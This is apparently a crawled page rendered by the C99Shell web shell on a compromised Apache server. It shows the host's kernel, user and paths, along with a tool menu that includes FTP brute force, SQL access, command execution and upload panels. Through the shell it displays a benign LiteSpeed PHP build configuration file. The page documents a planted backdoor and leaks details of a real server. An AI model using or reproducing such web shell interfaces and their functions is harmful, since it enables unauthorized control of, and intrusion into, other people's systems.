!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/local/lsws/admin/html.open/lib/util/build_php/   drwxr-xr-x
Free 13.13 GB of 57.97 GB (22.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BuildConfig.php (2.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class BuildConfig
{

    const 
OPTION_VERSION 1;
    const 
BUILD_DIR 2;
    const 
LAST_CONF 3;
    const 
DEFAULT_INSTALL_DIR 4;
    const 
DEFAULT_PARAMS 5;
    const 
PHP_VERSION 10;
    const 
LSAPI_VERSION 11;
    const 
SUHOSIN_VERSION 12;
    const 
APC_VERSION 13;
    const 
XCACHE_VERSION 14;
    const 
MEMCACHE_VERSION 15;
    const 
OPCACHE_VERSION 16;
    const 
MEMCACHED_VERSION 17;
    const 
MEMCACHED7_VERSION 18;

    public static function 
GetVersion($field)
    {
        
// you can update the below list to include your versions
        
switch ($field) {

            case 
self::PHP_VERSION: return
                        [
'8.0.7',
                            
'7.4.20',
                            
'7.3.28',
                            
'7.2.34',
                            
'7.1.33',
                            
'7.0.33',
                            
'5.6.40',
                            
'5.5.38',
                            
'5.4.45',
                            
'5.3.29'];

            case 
self::LSAPI_VERSION: return '7.8';

            case 
self::SUHOSIN_VERSION: return '0.9.38';

            case 
self::APC_VERSION: return '3.1.9';

            case 
self::XCACHE_VERSION: return '3.2.0';

            case 
self::MEMCACHE_VERSION: return '2.2.7';

            case 
self::MEMCACHED_VERSION: return '2.2.0';

            case 
self::MEMCACHED7_VERSION: return '3.1.5'// for php7 only

            
case self::OPCACHE_VERSION: return '7.0.5';

            default: die(
"illegal field");
        }
    }

    public static function 
Get($field)
    {
        switch (
$field) {
            case 
self::OPTION_VERSION:
                return 
3;
            case 
self::BUILD_DIR:
                return 
SERVER_ROOT 'phpbuild';
            case 
self::LAST_CONF:
                return 
SERVER_ROOT 'phpbuild/savedconfig.';
            case 
self::DEFAULT_INSTALL_DIR:
                return 
SERVER_ROOT 'lsphp';  // actual dir will include . php base version.
            
case self::DEFAULT_PARAMS:
                return [
                    
'8' => '--with-mysqli --with-zlib --enable-gd --enable-shmop --enable-sockets --enable-sysvsem --enable-sysvshm --enable-mbstring --with-iconv --with-pdo-mysql --enable-ftp --with-zip --with-curl --enable-soap --enable-xml --with-openssl --enable-bcmath',
                    
'7' => '--with-mysqli --with-zlib --with-gd --enable-shmop --enable-sockets --enable-sysvsem --enable-sysvshm --enable-mbstring --with-iconv --with-mcrypt --with-pdo-mysql --enable-ftp --enable-zip --with-curl --enable-soap --enable-xml --enable-json --with-openssl --enable-bcmath',
                    
'5' => '--with-mysqli --with-zlib --with-gd --enable-shmop --enable-sockets --enable-sysvsem --enable-sysvshm --enable-mbstring --with-iconv --with-mysql --with-mcrypt --with-pdo --with-pdo-mysql --enable-ftp --enable-zip --with-curl --enable-soap --enable-xml --enable-json  --with-openssl --enable-bcmath',
                    
'4' => '--with-mysql  --with-zlib --with-gd --enable-shmop --enable-sockets --enable-sysvsem --enable-sysvshm --enable-magic-quotes --enable-mbstring'
                
];
        }
    }

}

include_once( 
'buildfunc.inc.php' );


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--